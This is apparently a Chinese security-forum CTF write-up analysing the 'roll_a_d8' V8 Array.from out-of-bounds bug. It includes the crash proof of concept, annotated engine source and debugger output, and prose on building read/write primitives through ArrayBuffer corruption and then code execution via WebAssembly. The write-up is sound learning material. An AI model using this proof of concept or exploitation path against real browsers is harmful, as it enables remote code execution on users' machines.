首页
社区
课程
招聘
[原创]roll_a_d8新人向Writeup
发表于: 2021-8-5 14:21 17759

[原创]roll_a_d8新人向Writeup

2021-8-5 14:21
17759

因为最近想尝试一些不同的东西,所以就找了几道V8CTF题目来做,权当涨涨见识,自然这篇文章也就算不上是一篇入门文章或者是浏览器漏洞分析(因为我自己也不会),最多算是踩坑记录,如果有错误的话欢迎师傅们指出。

在题目所给的链接中可以找到修复bug的commit,接着我们就得到了漏洞版本的hash值和diff文件,以及一个poc文件。

image-20210719183042061

首先根据hash值回退到漏洞版本

漫长的等待之后我们用编译好的d8运行poc.js,成功触发crash

image-20210719183055435

开始分析poc之前,很有必要了解一下数组的对象结构:

更详细的表述请参考文末的链接,接着来看poc

首先我们创建了oobArray数组,接着以function() { return oobArray }作为Array.from方法运行时使用的this值,和一个带有迭代器的对象作为参数进行执行。这里我参考了一下polyfillArray.from实现来理解为什么要这样设置参数。

注释应该挺清楚了,function() { return oobArray }做参数可以使得oobArray数组本身被修改。可以看看下面这个Demo

再看看第二个参数,是一个带有迭代器的对象。其中,在迭代结束的时候将oobArray.Length设置为0。分别比较一下置零和未置零的oobArray的状态。

JSArrayelements结构指向一个足够大的数组,但是在将oobArray.length置零后,JSArrayelements结构指向了FixedArray[0]这个空数组。此时JSArraylength结构依然是8224,自然造成了越界读写。我们对比一下常规的length置零:

正常情况下,FixedArray会在length被置零之后释放掉;在poc中,FixedArray已经被释放,但是length却依然保持着置零之前的值。根据polyfillarray.from的实现,漏洞成因大概是array.from内部只考虑了a = new Array(0);这种情况,而没有想到将this设置为function() { return oobArray }可以返回原数组对象。所以在迭代结束的时候,并没有检查数组的空间是否已经被释放,依然对数组的length进行了赋值。当然,具体实现我们要去源码看一下。

image-20210719183111431

只修改了GenerateSetLength函数,将原本的SmiLessThan改成了SmiNotEqual,推测是poc构造了length_smi > old_length的情况,并没有跳转去runtime来进行内存缩减,而是转去执行了StoreObjectFieldNoWriteBarrier函数。不过我没在这里看起,因为参数的含义都不知道。看了一下调用关系发现该函数在Array.from的内部实现中有调用,所以先去看一下Array.from

几个关键的地方都写注释了,最关键的就是ConstructArrayLike函数返回了一个已经创建好的数组,而非预期中length=0的数组。接着看看GenerateSetLength函数的具体实现:

光看源码其实有好几个点看不懂,有些函数的底层实现对我来说还是有点复杂的,读的时候总感觉没那味儿,不过参考了polyfillECMA-262标准之后基本全通了。GenerateSetLength函数总是以为传入的数组就是新创建的数组,old_length是不会小于length_smi的,但我们传入了一个早就创建好的数组,并且修改了数组的length,导致elements结构指向的数组被释放了。之后GenerateSetLength函数内部在判断的时候,没想到数组的length已经变成了0,不仅并没有触发内存紧缩,还把巨大的索引值length_smi又赋值给了数组的length,最终造成了数组的length保持着未释放前的值,而数组却早就释放了的情况。

银师傅在release版本使用job等命令的方法我并没有成功,所以还是选择了放弃job命令。到目前为止,我们通过漏洞已经实现了越界读写的能力,为了达到我们的终极目标(任意代码执行),我们需要构建更加强大的原语。

做到这一步,我首先想的就是能不能像内核一样,用越界读写来操作Bitmap对象,通过溢出修改pvscan0来达到任意地址读/写的目的。结果还真有这么一招,ES2015推出之后,JavaScript 开始支持在原始二进制缓冲区中读取和写入数据,这个缓冲区被称为ArrayBuffer。具体结构如下:

也就是说,只要我们可以通过OOB修改了ArrayBuffer->kBackingStoreOffset,就可以随意操作JSArrayBuffer指向的内存了。不过,ArrayBuffer是不能直接操作的,我们需要通过TypedArray来进行数据访问,示意图如下:

接着要思考如何把ArrayBuffer放置到我们的oobarray之后,我们申请大量的带有特征值的ArrayBuffer,再通过oobarray来搜索特征值,就可以找到可用的ArrayBuffer。另外当前版本的ArrayBuffer只能用Float64Array来读写八字节的内存单元,所以我们不仅要在数组中定义浮点数,还要实现Float64和Uint64的转换。部分代码如下:

除了ArrayBuffer之外,我们还可以在oobArray之后布置普通对象,如果将目标对象绑定到普通对象的in-object属性,那么就可以通过oobArray的越界读来泄露目标对象的所在地址,关于布置和查找的方法和ArrayBuffer是一样的。

除常规的linux利用手法之外,其实我们还可以通过WebAssembly来进行任意代码执行,这个网站可能会帮到你。具体步骤如下:

代码如下:

image-20210719183128104

我的博客

StarCTF 2019 v8 off-by-one漏洞学习笔记

just pwn it for fun

从一道CTF题零基础学V8漏洞利用

v8 engine exploit零基础入门

V8环境搭建,100%成功版

 
 
# git reset --hard [commit hash with vulnerability]
# 使用这条命令来切换到漏洞版本的commit
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
# 这里选择只编译v8来加快速度
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
# git reset --hard [commit hash with vulnerability]
# 使用这条命令来切换到漏洞版本的commit
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
# 这里选择只编译v8来加快速度
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
 
             JSArray
 0x0+-----------------------+
    |kMapOffset             |
 0x8+-----------------------+
    |kPropertiesOffset      |
0x10+-----------------------+                     JSFixedArray
    |kElementsOffset        +----------->0x0+-----------------------+
0x18+-----------------------+               |kMapOffset             |
    |kLengthOffset          |            0x8+-----------------------+
0x20+-----------------------+               |kLengthOffset          |
                                        0x10+-----------------------+
                                            |element 0              |
                                        0x18+-----------------------+
                                            |element 1              |
                                        0x20+-----------------------+
                                            |element 2              |
                                        0x28+-----------------------+
                                            |...                    |
                                            +-----------------------+
             JSArray
 0x0+-----------------------+
    |kMapOffset             |
 0x8+-----------------------+
    |kPropertiesOffset      |
0x10+-----------------------+                     JSFixedArray
    |kElementsOffset        +----------->0x0+-----------------------+
0x18+-----------------------+               |kMapOffset             |
    |kLengthOffset          |            0x8+-----------------------+
0x20+-----------------------+               |kLengthOffset          |
                                        0x10+-----------------------+
                                            |element 0              |
                                        0x18+-----------------------+
                                            |element 1              |
                                        0x20+-----------------------+
                                            |element 2              |
                                        0x28+-----------------------+
                                            |...                    |
                                            +-----------------------+
let oobArray = [];
let maxSize = 1028 * 8;
 
// Array.from() 方法从一个类似数组或可迭代对象创建一个新的,浅拷贝的数组实例。
// call() 方法使用一个指定的 this 值和单独给出的一个或多个参数来调用一个函数。
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
    // 自己实现的迭代器
    counter : 0,
    next() {
        let result = this.counter++;
        if (this.counter > maxSize) {
            // 迭代结束之后将length置零
            oobArray.length = 0;
            return {done: true};
        } else {
            return {value: result, done: false};
        }
    }
}
) });
// 之后触发崩溃
oobArray[oobArray.length - 1] = 0x41414141;
let oobArray = [];
let maxSize = 1028 * 8;
 
// Array.from() 方法从一个类似数组或可迭代对象创建一个新的,浅拷贝的数组实例。
// call() 方法使用一个指定的 this 值和单独给出的一个或多个参数来调用一个函数。
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
    // 自己实现的迭代器
    counter : 0,
    next() {
        let result = this.counter++;
        if (this.counter > maxSize) {
            // 迭代结束之后将length置零
            oobArray.length = 0;
            return {done: true};
        } else {
            return {value: result, done: false};
        }
    }
}
) });
// 之后触发崩溃
oobArray[oobArray.length - 1] = 0x41414141;
// 省略了一大堆其他的代码,完整版 https://github.com/inexorabletash/polyfill/blob/master/es6.js
// 22.1.2.1 Array.from ( items [ , mapfn [ , thisArg ] ] )
 
define(
Array, 'from',
function from(items) {
 
    var c = strict(this);         // this 就是 function() { return oobArray }
 
    // 判断是否可以迭代
    var usingIterator = GetMethod(items, $$iterator);
    if (usingIterator !== undefined) {
        if (IsConstructor(c)) {    // IsConstructor函数检查对象是否为构造函数,此处返回true
            /*
            当代码 new Foo(...) 执行时,会发生以下事情:
            1. 一个继承自 Foo.prototype 的新对象被创建。
            2. 使用指定的参数调用构造函数 Foo,并将 this 绑定到新创建的对象。new Foo 等同于 new Foo(),也就是没有指定参数列表,Foo 不带任何参数调用的情况。
            3. 由构造函数返回的对象就是 new 表达式的结果。如果构造函数没有显式返回一个对象,则使用步骤1创建的对象。(一般情况下,构造函数不返回值,但是用户可以选择主动返回对象,来覆盖正常的对象创建步骤)
            */
            var a = new c();      // 结合上面这么一大堆字,可以得出 a = oobArray
        } else {
            a = new Array(0);
        }
    var iterator = GetIterator(items, usingIterator);
 
    var k = 0;
    while (true) {
        var next = IteratorStep(iterator);
        if (next === false) {
            a.length = k;       // oobArray.length = k
            return a;           // return oobArray
        }
        a[k] = mappedValue;       // oobArray[k] = mappedValue
        k += 1;
    }
}});
// 省略了一大堆其他的代码,完整版 https://github.com/inexorabletash/polyfill/blob/master/es6.js
// 22.1.2.1 Array.from ( items [ , mapfn [ , thisArg ] ] )
 
define(
Array, 'from',
function from(items) {
 
    var c = strict(this);         // this 就是 function() { return oobArray }
 
    // 判断是否可以迭代
    var usingIterator = GetMethod(items, $$iterator);
    if (usingIterator !== undefined) {
        if (IsConstructor(c)) {    // IsConstructor函数检查对象是否为构造函数,此处返回true
            /*
            当代码 new Foo(...) 执行时,会发生以下事情:
            1. 一个继承自 Foo.prototype 的新对象被创建。
            2. 使用指定的参数调用构造函数 Foo,并将 this 绑定到新创建的对象。new Foo 等同于 new Foo(),也就是没有指定参数列表,Foo 不带任何参数调用的情况。
            3. 由构造函数返回的对象就是 new 表达式的结果。如果构造函数没有显式返回一个对象,则使用步骤1创建的对象。(一般情况下,构造函数不返回值,但是用户可以选择主动返回对象,来覆盖正常的对象创建步骤)
            */
            var a = new c();      // 结合上面这么一大堆字,可以得出 a = oobArray
        } else {
            a = new Array(0);
        }
    var iterator = GetIterator(items, usingIterator);
 
    var k = 0;
    while (true) {
        var next = IteratorStep(iterator);
        if (next === false) {
            a.length = k;       // oobArray.length = k
            return a;           // return oobArray
        }
        a[k] = mappedValue;       // oobArray[k] = mappedValue
        k += 1;
    }
}});
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [15:56:15]
$ cat test.js
var oobArray = [];
%DebugPrint(oobArray);
Array.from.call(function() { return oobArray }, [1,2,3]);
%DebugPrint(oobArray);
 
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [15:57:46]
$ ~/vvvvv8/v8/out.gn/x64.debug/d8 --allow-natives-syntax test.js
 
DebugPrint: 0x1fca3d08d4f9: [JSArray]
 - map: 0x1d335e02571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x1b4d6e385539 <JSArray[0]>
 - elements: 0xa3822902251 <FixedArray[0]> [PACKED_SMI_ELEMENTS]
 - length: 0
 - properties: 0xa3822902251 <FixedArray[0]> {
    #length: 0xa382294ff89 <AccessorInfo> (const accessor descriptor)
 }
 
DebugPrint: 0x1fca3d08d4f9: [JSArray]
 - map: 0x1d335e02571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x1b4d6e385539 <JSArray[0]>
 - elements: 0x1fca3d08d761 <FixedArray[17]> [PACKED_SMI_ELEMENTS]
 - length: 3
 - properties: 0xa3822902251 <FixedArray[0]> {
    #length: 0xa382294ff89 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x1fca3d08d761 <FixedArray[17]> {
           0: 1
           1: 2
           2: 3
        3-16: 0xa3822902321 <the_hole>
 }
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [15:56:15]
$ cat test.js
var oobArray = [];
%DebugPrint(oobArray);
Array.from.call(function() { return oobArray }, [1,2,3]);
%DebugPrint(oobArray);
 
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [15:57:46]
$ ~/vvvvv8/v8/out.gn/x64.debug/d8 --allow-natives-syntax test.js
 
DebugPrint: 0x1fca3d08d4f9: [JSArray]
 - map: 0x1d335e02571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x1b4d6e385539 <JSArray[0]>
 - elements: 0xa3822902251 <FixedArray[0]> [PACKED_SMI_ELEMENTS]
 - length: 0
 - properties: 0xa3822902251 <FixedArray[0]> {
    #length: 0xa382294ff89 <AccessorInfo> (const accessor descriptor)
 }
 
DebugPrint: 0x1fca3d08d4f9: [JSArray]
 - map: 0x1d335e02571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x1b4d6e385539 <JSArray[0]>
 - elements: 0x1fca3d08d761 <FixedArray[17]> [PACKED_SMI_ELEMENTS]
 - length: 3
 - properties: 0xa3822902251 <FixedArray[0]> {
    #length: 0xa382294ff89 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x1fca3d08d761 <FixedArray[17]> {
           0: 1
           1: 2
           2: 3
        3-16: 0xa3822902321 <the_hole>
 }
# 迭代结束没有将oobArray.length置零
pwndbg> job 0x266f6b90da39
0x266f6b90da39: [JSArray]
 - map: 0x2472db302571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x34d88a085539 <JSArray[0]>
 - elements: 0x1fb3c180ef81 <FixedArray[10018]> [PACKED_SMI_ELEMENTS]
 - length: 8224
 - properties: 0xa0a6f682251 <FixedArray[0]> {
    #length: 0xa0a6f6cff89 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x1fb3c180ef81 <FixedArray[10018]> {
     省略参数
           : 0xa0a6f682321 <the_hole>
 }
 
 # 迭代结束将oobArray.length置零
pwndbg> job 0x213fb0f0da39
0x213fb0f0da39: [JSArray]
 - map: 0x27d1d0202571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x8fc75385539 <JSArray[0]>
 - elements: 0x10d45dc02251 <FixedArray[0]> [PACKED_SMI_ELEMENTS]
 - length: 8224
 - properties: 0x10d45dc02251 <FixedArray[0]> {
    #length: 0x10d45dc4ff89 <AccessorInfo> (const accessor descriptor)
 }
# 迭代结束没有将oobArray.length置零
pwndbg> job 0x266f6b90da39
0x266f6b90da39: [JSArray]
 - map: 0x2472db302571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x34d88a085539 <JSArray[0]>
 - elements: 0x1fb3c180ef81 <FixedArray[10018]> [PACKED_SMI_ELEMENTS]
 - length: 8224
 - properties: 0xa0a6f682251 <FixedArray[0]> {
    #length: 0xa0a6f6cff89 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x1fb3c180ef81 <FixedArray[10018]> {
     省略参数
           : 0xa0a6f682321 <the_hole>
 }
 
 # 迭代结束将oobArray.length置零
pwndbg> job 0x213fb0f0da39
0x213fb0f0da39: [JSArray]
 - map: 0x27d1d0202571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x8fc75385539 <JSArray[0]>
 - elements: 0x10d45dc02251 <FixedArray[0]> [PACKED_SMI_ELEMENTS]
 - length: 8224
 - properties: 0x10d45dc02251 <FixedArray[0]> {
    #length: 0x10d45dc4ff89 <AccessorInfo> (const accessor descriptor)
 }
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [17:33:12]
$ cat test.js
var oobArray = [1,2,3];
%DebugPrint(oobArray);
oobArray.length = 0;
%DebugPrint(oobArray);
 
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [17:34:02]
$ ~/vvvvv8/v8/out.gn/x64.debug/d8 --allow-natives-syntax test.js
DebugPrint: 0x112f1d58d4d1: [JSArray]
 - map: 0x39b574b82571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x195f2ce05539 <JSArray[0]>
 - elements: 0x112f1d58d479 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 3
 - properties: 0x1262e4482251 <FixedArray[0]> {
    #length: 0x1262e44cff89 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x112f1d58d479 <FixedArray[3]> {
           0: 1
           1: 2
           2: 3
 }
 
DebugPrint: 0x112f1d58d4d1: [JSArray]
 - map: 0x39b574b82571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x195f2ce05539 <JSArray[0]>
 - elements: 0x1262e4482251 <FixedArray[0]> [PACKED_SMI_ELEMENTS]
 - length: 0
 - properties: 0x1262e4482251 <FixedArray[0]> {
    #length: 0x1262e44cff89 <AccessorInfo> (const accessor descriptor)
 }
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [17:33:12]
$ cat test.js
var oobArray = [1,2,3];
%DebugPrint(oobArray);
oobArray.length = 0;
%DebugPrint(oobArray);
 
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [17:34:02]
$ ~/vvvvv8/v8/out.gn/x64.debug/d8 --allow-natives-syntax test.js
DebugPrint: 0x112f1d58d4d1: [JSArray]
 - map: 0x39b574b82571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x195f2ce05539 <JSArray[0]>
 - elements: 0x112f1d58d479 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 3
 - properties: 0x1262e4482251 <FixedArray[0]> {
    #length: 0x1262e44cff89 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x112f1d58d479 <FixedArray[3]> {
           0: 1
           1: 2
           2: 3
 }
 
DebugPrint: 0x112f1d58d4d1: [JSArray]
 - map: 0x39b574b82571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x195f2ce05539 <JSArray[0]>
 - elements: 0x1262e4482251 <FixedArray[0]> [PACKED_SMI_ELEMENTS]
 - length: 0
 - properties: 0x1262e4482251 <FixedArray[0]> {
    #length: 0x1262e44cff89 <AccessorInfo> (const accessor descriptor)
 }
 
// 省略了一些,完整代码见src\builtins\builtins-array-gen.cc
// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler)
{
    // this 就是 function() { return oobArray }
    CodeStubArguments args(this, ChangeInt32ToIntPtr(argc));
 
    // 判断array_like是否可以迭代
    Label iterable(this), not_iterable(this), finished(this), if_exception(this);
 
    TNode<Object> this_arg = args.GetOptionalArgumentValue(2);
    TNode<Object> items = args.GetOptionalArgumentValue(0);
    // The spec doesn't require ToObject to be called directly on the iterable
    // branch, but it's part of GetMethod that is in the spec.
    // array_like就是我们传入的带有迭代器的对象
    TNode<JSReceiver> array_like = ToObject(context, items);
 
    // 定义array和length
    TVARIABLE(Object, array);
    TVARIABLE(Number, length);
 
    // Determine whether items[Symbol.iterator] is defined:
    IteratorBuiltinsAssembler iterator_assembler(state());
    Node *iterator_method =
        iterator_assembler.GetIteratorMethod(context, array_like);
    Branch(IsNullOrUndefined(iterator_method), &not_iterable, &iterable);
 
    BIND(&iterable);
    {
        // array_like 有我们自己实现的迭代器,所以可以执行到这里
        TVARIABLE(Number, index, SmiConstant(0));
        TVARIABLE(Object, var_exception);
        Label loop(this, &index), loop_done(this),
            on_exception(this, Label::kDeferred),
            index_overflow(this, Label::kDeferred);
 
        // 这里很关键,官方的注释虽然说会返回一个length为0的数组,但根据刚刚在polyfill的分析可以得知,如果this为构造函数的话是会直接返回构造函数返回值而非创建一个新的数组,看了一下ConstructArrayLike函数的代码发现也是一样,这里摘一部分
        /*
        // 如果this值是构造函数的话就直接调用并返回结果
        BIND(&is_constructor);
        {
            array = CAST(
                ConstructJS(CodeFactory::Construct(isolate()), context, receiver));
            Goto(&done);
        }
        */
        // Construct the output array with empty length.
        array = ConstructArrayLike(context, args.GetReceiver());
 
        // Actually get the iterator and throw if the iterator method does not yield
        // one.
        IteratorRecord iterator_record =
            iterator_assembler.GetIterator(context, items, iterator_method);
 
        TNode<Context> native_context = LoadNativeContext(context);
        TNode<Object> fast_iterator_result_map =
            LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);
 
        Goto(&loop);
 
        // 进行迭代
        BIND(&loop);
        {
            // 判断迭代是否结束
            // Loop while iterator is not done.
            TNode<Object> next = CAST(iterator_assembler.IteratorStep(
                context, iterator_record, &loop_done, fast_iterator_result_map));
            TVARIABLE(Object, value,
                        CAST(iterator_assembler.IteratorValue(
                            context, next, fast_iterator_result_map)));
 
            // 将迭代器的返回值存入oobArray
            // Store the result in the output object (catching any exceptions so the
            // iterator can be closed).
            Node *define_status =
                CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
                            index.value(), value.value());
            GotoIfException(define_status, &on_exception, &var_exception);
 
            // index++
            index = NumberInc(index.value());
            });
            Goto(&loop);
        }
 
        BIND(&loop_done);
        {
            // 将索引值index赋值给length
            length = index;
            Goto(&finished);
        }
 
        BIND(&on_exception);
        {
            // Close the iterator, rethrowing either the passed exception or
            // exceptions thrown during the close.
            iterator_assembler.IteratorCloseOnException(context, iterator_record,
                                                        &var_exception);
        }
    }
 
    BIND(&finished);
 
    // 给array赋值完之后调用漏洞函数GenerateSetLength(),传入array和index
    // Finally set the length on the output and return it.
    GenerateSetLength(context, array.value(), length.value());
    args.PopAndReturn(array.value());
}
// 省略了一些,完整代码见src\builtins\builtins-array-gen.cc
// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler)
{
    // this 就是 function() { return oobArray }
    CodeStubArguments args(this, ChangeInt32ToIntPtr(argc));
 
    // 判断array_like是否可以迭代
    Label iterable(this), not_iterable(this), finished(this), if_exception(this);
 
    TNode<Object> this_arg = args.GetOptionalArgumentValue(2);
    TNode<Object> items = args.GetOptionalArgumentValue(0);
    // The spec doesn't require ToObject to be called directly on the iterable
    // branch, but it's part of GetMethod that is in the spec.
    // array_like就是我们传入的带有迭代器的对象
    TNode<JSReceiver> array_like = ToObject(context, items);
 
    // 定义array和length
    TVARIABLE(Object, array);
    TVARIABLE(Number, length);
 
    // Determine whether items[Symbol.iterator] is defined:
    IteratorBuiltinsAssembler iterator_assembler(state());
    Node *iterator_method =
        iterator_assembler.GetIteratorMethod(context, array_like);
    Branch(IsNullOrUndefined(iterator_method), &not_iterable, &iterable);
 
    BIND(&iterable);
    {
        // array_like 有我们自己实现的迭代器,所以可以执行到这里
        TVARIABLE(Number, index, SmiConstant(0));
        TVARIABLE(Object, var_exception);
        Label loop(this, &index), loop_done(this),
            on_exception(this, Label::kDeferred),
            index_overflow(this, Label::kDeferred);
 
        // 这里很关键,官方的注释虽然说会返回一个length为0的数组,但根据刚刚在polyfill的分析可以得知,如果this为构造函数的话是会直接返回构造函数返回值而非创建一个新的数组,看了一下ConstructArrayLike函数的代码发现也是一样,这里摘一部分
        /*
        // 如果this值是构造函数的话就直接调用并返回结果
        BIND(&is_constructor);
        {
            array = CAST(
                ConstructJS(CodeFactory::Construct(isolate()), context, receiver));
            Goto(&done);
        }
        */
        // Construct the output array with empty length.
        array = ConstructArrayLike(context, args.GetReceiver());
 
        // Actually get the iterator and throw if the iterator method does not yield
        // one.
        IteratorRecord iterator_record =
            iterator_assembler.GetIterator(context, items, iterator_method);
 
        TNode<Context> native_context = LoadNativeContext(context);
        TNode<Object> fast_iterator_result_map =
            LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);
 
        Goto(&loop);
 
        // 进行迭代
        BIND(&loop);
        {
            // 判断迭代是否结束
            // Loop while iterator is not done.
            TNode<Object> next = CAST(iterator_assembler.IteratorStep(
                context, iterator_record, &loop_done, fast_iterator_result_map));
            TVARIABLE(Object, value,
                        CAST(iterator_assembler.IteratorValue(
                            context, next, fast_iterator_result_map)));
 
            // 将迭代器的返回值存入oobArray
            // Store the result in the output object (catching any exceptions so the
            // iterator can be closed).
            Node *define_status =
                CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
                            index.value(), value.value());
            GotoIfException(define_status, &on_exception, &var_exception);
 
            // index++
            index = NumberInc(index.value());
            });
            Goto(&loop);
        }
 
        BIND(&loop_done);
        {
            // 将索引值index赋值给length
            length = index;
            Goto(&finished);
        }
 
        BIND(&on_exception);
        {
            // Close the iterator, rethrowing either the passed exception or
            // exceptions thrown during the close.
            iterator_assembler.IteratorCloseOnException(context, iterator_record,
                                                        &var_exception);
        }
    }
 
    BIND(&finished);
 
    // 给array赋值完之后调用漏洞函数GenerateSetLength(),传入array和index
    // Finally set the length on the output and return it.
    GenerateSetLength(context, array.value(), length.value());
    args.PopAndReturn(array.value());
}
void GenerateSetLength(TNode<Context> context, TNode<Object> array,
                        TNode<Number> length)
{
    Label fast(this), runtime(this), done(this);
    // Only set the length in this stub if
    // 1) the array has fast elements,
    // 2) the length is writable,
    // 3) the new length is greater than or equal to the old length.
 
    // 1) Check that the array has fast elements.
    // TODO(delphick): Consider changing this since it does an an unnecessary
    // check for SMIs.
    // TODO(delphick): Also we could hoist this to after the array construction
    // and copy the args into array in the same way as the Array constructor.
    BranchIfFastJSArray(array, context, &fast, &runtime);
 
    BIND(&fast);
    {
        // fast_array = array
        TNode<JSArray> fast_array = CAST(array);
 
        // length_smi = index
        // old_length = array.length = 0
        TNode<Smi> length_smi = CAST(length);
        TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
        CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));
 
        // 2) Ensure that the length is writable.
        // TODO(delphick): This check may be redundant due to the
        // BranchIfFastJSArray above.
        EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);
 
        // 3) If the created array already has a length greater than required,
        //    then use the runtime to set the property as that will insert holes
        //    into the excess elements and/or shrink the backing store.
        // 上面也有写到,length_msi是刚刚loop循环的时候叠加的index值,old_length是oobArray自身的length值,0 < 8224
        // 所以这个Goto是不会跳转的,如果不进行内存紧缩的话,会转去运行StoreObjectFieldNoWriteBarrier函数。
        GotoIf(SmiLessThan(length_smi, old_length), &runtime);
 
        // 将oobArray的length设置为length_smi
        StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
                                        length_smi);
 
        Goto(&done);
    }
 
    BIND(&runtime);
    {
        CallRuntime(Runtime::kSetProperty, context, static_cast<Node *>(array),
                    CodeStubAssembler::LengthStringConstant(), length,
                    SmiConstant(LanguageMode::kStrict));
        Goto(&done);
    }
 
    BIND(&done);
}
};
void GenerateSetLength(TNode<Context> context, TNode<Object> array,
                        TNode<Number> length)
{
    Label fast(this), runtime(this), done(this);
    // Only set the length in this stub if
    // 1) the array has fast elements,
    // 2) the length is writable,
    // 3) the new length is greater than or equal to the old length.
 
    // 1) Check that the array has fast elements.
    // TODO(delphick): Consider changing this since it does an an unnecessary
    // check for SMIs.
    // TODO(delphick): Also we could hoist this to after the array construction
    // and copy the args into array in the same way as the Array constructor.
    BranchIfFastJSArray(array, context, &fast, &runtime);
 
    BIND(&fast);
    {
        // fast_array = array
        TNode<JSArray> fast_array = CAST(array);
 
        // length_smi = index
        // old_length = array.length = 0
        TNode<Smi> length_smi = CAST(length);
        TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
        CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));
 
        // 2) Ensure that the length is writable.
        // TODO(delphick): This check may be redundant due to the
        // BranchIfFastJSArray above.
        EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);
 
        // 3) If the created array already has a length greater than required,
        //    then use the runtime to set the property as that will insert holes
        //    into the excess elements and/or shrink the backing store.
        // 上面也有写到,length_msi是刚刚loop循环的时候叠加的index值,old_length是oobArray自身的length值,0 < 8224
        // 所以这个Goto是不会跳转的,如果不进行内存紧缩的话,会转去运行StoreObjectFieldNoWriteBarrier函数。
        GotoIf(SmiLessThan(length_smi, old_length), &runtime);
 
        // 将oobArray的length设置为length_smi
        StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
                                        length_smi);
 
        Goto(&done);
    }

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 1
支持
分享
最新回复 (2)
雪    币: 7
活跃值: (4331)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
2
很早之前的一篇笔记,大概梳理了一遍发出来了。如果文中还有错误,欢迎师傅们指出!
2021-8-5 14:22
0
雪    币: 3072
活跃值: (20)
能力值: ( LV1,RANK:40 )
在线值:
发帖
回帖
粉丝
3
不错的笔记
2021-8-5 16:36
1
游客
登录 | 注册 方可回帖
返回
//